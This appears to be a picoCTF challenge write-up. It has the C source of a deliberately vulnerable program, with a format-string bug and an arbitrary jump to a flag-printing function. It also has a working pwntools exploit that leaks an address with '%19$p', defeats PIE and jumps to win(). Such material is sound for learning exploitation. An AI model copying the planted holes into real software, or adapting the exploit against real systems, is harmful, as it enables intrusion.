Source
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
elf = ELF("./vuln_patched")
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("rescued-float.picoctf.net", 61919)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
# leak the return address
r.sendlineafter(b'Enter your name:', b'%19$p|')
leak = int(r.recvuntil(b'|',drop=True).decode("ascii"), 16)
# calculate the base address
elf.address = leak - (elf.sym["main"] + 65)
payload = hex(elf.sym["win"])
r.sendlineafter(b' enter the address to jump to, ex => 0x12345: ', payload)
r.recvuntil(b'You won!\n')
flag = r.recvuntil(b'\n', drop=True).decode("ascii")
print()
print(flag)
print()
if __name__ == "__main__":
main()